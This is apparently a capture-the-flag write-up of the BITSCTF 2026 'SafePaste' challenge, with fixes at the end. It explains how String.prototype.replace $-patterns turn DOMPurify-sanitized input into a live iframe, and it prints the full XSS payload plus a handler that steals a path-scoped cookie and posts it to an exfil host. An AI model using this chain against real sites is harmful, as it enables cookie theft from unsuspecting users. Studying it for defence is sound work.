BITSCTF 2026 — SafePaste Writeup

A paste site sanitizes with DOMPurify and then feeds the result to String.prototype.replace: the $& and $` replacement patterns smuggle a live iframe past the sanitizer, and a /hidden-scoped flag cookie is read through a same-origin 404 frame.

6 min read
ibrahimsql
1,171 words

BITSCTF 2026 — SafePaste

"SafePaste" (Web) is a tiny Express + TypeScript paste site with an admin bot. Its README is a single line — "Yet another paste challenge?" — and the name is the joke: the code runs DOMPurify and believes it is safe. The interesting part is the order of operations. Input is sanitized, stored, and then substituted into the page template with String.prototype.replace("{paste}", content). Those two steps compose into a mutation XSS: the sanitizer inspects one string, replace rewrites it, and only then does the browser parse it.

  • Event: BITSCTF 2026
  • Category: Web
  • Flag format: BITSCTF{...}

1. The application

The whole backend fits in one file. The relevant routes:

TypeScript
app.post("/create", (req, res) => {
  const content = req.body.content;
  const id = uuidv4();
  const clean = DOMPurify.sanitize(content);   // (1) sanitize
  pastes.set(id, clean);
  res.redirect(`/paste/${id}`);
});
 
app.get("/paste/:id", (req, res) => {
  const content = pastes.get(req.params.id);
  const html = pasteTemplate.replace("{paste}", content);   // (2) substitute
  res.type("html").send(html);
});
 
app.get("/hidden", (req, res) => {
  if (req.query.secret === ADMIN_SECRET) return res.send("Welcome, admin!");
  res.socket?.destroy();
});

Every response carries a CSP header:

Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; default-src 'self'

script-src allows inline and eval, so the hard part is not running script once you have markup — it is getting markup past DOMPurify. default-src 'self' blocks fetch/img/XHR to an external host, but note it does not cover form-action.

The bot sets the flag cookie and visits the reported URL:

TypeScript
await page.setCookie({
  name: "FLAG", value: FLAG,
  domain: APP_HOST,          // "localhost"
  path: "/hidden",           // scoped to /hidden
});
await page.goto(url, { waitUntil: "networkidle2", timeout: 5000 });
await new Promise((r) => setTimeout(r, 15000));

/report only accepts a URL whose hostname is localhost or APP_HOST, so the goal is not SSRF — it is XSS on the app itself, in the bot's origin where the FLAG cookie lives.

2. The bug is not in DOMPurify

My first instinct was a DOMPurify CVE. The package-lock.json in the repo pins dompurify@3.3.1, which is inside the affected range of several 2026 rawtext/SAFE_FOR_XML findings (CVE-2026-0540, CVE-2026-3126 / GHSA-h8r8-wccr-v5f2). I fuzzed closers and attribute tricks for a while and got nothing, for two reasons:

  1. The app wraps the paste in a plain <div class="content">{paste}</div>, not a <style>/<textarea>/<xmp> rawtext wrapper. The rawtext-element CVEs need a wrapper the app never provides.
  2. The Dockerfile does COPY package.json ./ then npm install, so the checked-in lockfile is ignored and the container actually resolved a current dompurify@3.4.17.

The real defect is app-level and version-independent: String.prototype.replace treats $&, $`, $' and $$ inside its replacement string as special, and here the replacement string is attacker-controlled. Confirmed by dumping the sanitized value the server hands to replace:

CLEAN: "<img alt=\"$&amp;$`<iframe\tsrc=/hidden/lol\t\tonload=eval(atob('x'))\">\n"

The $& and $` are still there. They survive sanitization because they are just attribute text.

3. The chain

A single paste is the payload:

<img alt=$&$`<iframe&#9;src=/hidden/lol&#9;&#9;onload=eval(atob('...'))//>
</iframe>

Step 1 — what DOMPurify sees. <img> with an unquoted alt. The &#9; are character references, not whitespace, so the HTML tokenizer keeps reading them as attribute text, and the first literal > closes the <img>. DOMPurify therefore sees one harmless <img> element; the entire <iframe …> is just part of its alt value. On output it re-serializes as <img alt="…">, escaping &→&amp;, decoding &#9;→ a literal TAB, and dropping the dangling </iframe>. That is the string in the CLEAN: dump above — no onload, no iframe element, nothing for the sanitizer to strip.

Step 2 — replace rewrites it. Substituting that string expands the patterns: $& becomes the match ({paste}, seven characters) and $` becomes everything before the match — the entire <!DOCTYPE html> … <div class="content"> prefix. The prefix re-enters the document mid-string, and its " and > characters flip the browser's tokenizer state. What DOMPurify saw as the value of an alt attribute becomes, in the browser, a live <iframe> whose attributes are separated by the decoded TABs. The final string the browser parses (excerpt):

<div class="content"><img alt="{paste}amp;<!DOCTYPE html>
...
<div class="content"><iframe	src=/hidden/lol		onload=eval(atob('...'))//">

Step 3 — the trailing quote. Because the element was re-serialized as <img alt="…">, DOMPurify's closing " lands immediately after onload=eval(atob('...')), yielding eval(atob('...'))" — a JavaScript syntax error. I confirmed this with a headless page dump; the iframe was live and loading /hidden/lol, but the handler died:

REQ: GET http://localhost:3000/hidden/lol
PAGEERROR: Invalid or unexpected token
INFO: { "iframeCount": 1, "iframes": [{ "src": "/hidden/lol", "onload": "eval(atob('CmNvbnN0…" }] }

Appending // to the handler (onload=eval(atob('...'))//) turns the stray quote into a line comment (//"), and the handler runs.

The flag cookie is path=/hidden. Hitting /hidden with the wrong or absent secret calls res.socket.destroy(): the connection is torn down and the browser renders a cross-origin error document you cannot read. But the cookie attaches to any path inside the /hidden/ scope. A path like /hidden/lol matches the scope, returns a plain 404, and is still same-origin — so loading it in an iframe lets the parent read its document.cookie. The handler that the injected onload executes:

JavaScript
const iframe = document.createElement('iframe');
iframe.src = '/hidden/lol';
iframe.onload = () => {
  const form = document.createElement('form');
  form.method = 'POST';
  form.action = 'http://exfil:8000/';
  const input = document.createElement('input');
  input.name = 'flag';
  input.value = frames[1].document.cookie;   // FLAG=... from the /hidden-scoped frame
  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
};
document.body.appendChild(iframe);

The exfil channel is a form POST on purpose. CSP is default-src 'self', which governs connect-src/img-src but not form-action, so fetch/Image() to exfil are blocked while the POST succeeds.

5. Reproducing it

Stand up the service (the Dockerfile installs Chromium and sets PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium, so the in-container bot works on arm64) and a listener:

Bash
docker network create tbnet
docker build -t safepaste ./SafePaste
docker run -d --name safe --network tbnet -p 5060:3000 \
  -e APP_HOST=localhost -e APP_PORT=3000 \
  -e FLAG='BITSCTF{fake_flag_for_local_testing}' \
  -e ADMIN_SECRET=fake_admin_secret safepaste
docker run -d --name exfil --network tbnet python:3.11-slim python -u /exfil.py

Create the paste and report it to the bot (the URL the bot accepts is localhost, and the bot runs inside the container):

create   -> 302 /paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
bot url  -> http://localhost:3000/paste/98c25ff5-e86a-46c3-bb34-c986e82e2d52
Admin will review your paste shortly...

The listener receives the flag:

HIT POST / :: flag=FLAG%3DBITSCTF%7Bfake_flag_for_local_testing%7D

which decodes to flag=FLAG=BITSCTF{fake_flag_for_local_testing} — the cookie value read by the same-origin frame.

6. Fixing it

  • Never build HTML with String.prototype.replace and attacker input. The $-patterns ($&, $`, $', $$) rewrite the replacement. Use a real template engine, or disable pattern expansion by passing a function: template.replace('{paste}', () => content).
  • Sanitize the final document, not an intermediate string. If the string is mutated after sanitization, the sanitizer's result is meaningless.
  • Do not scope a secret cookie to a path you also serve error pages on. Any same-origin page under /hidden/ can read it; the name FLAG only hides it from users, not from script.

7. Flag

BITSCTF{fake_flag_for_local_testing}   # local run; real flag is BITSCTF{...}
---
Share this post:

What do you think?

React to show your appreciation

Related Posts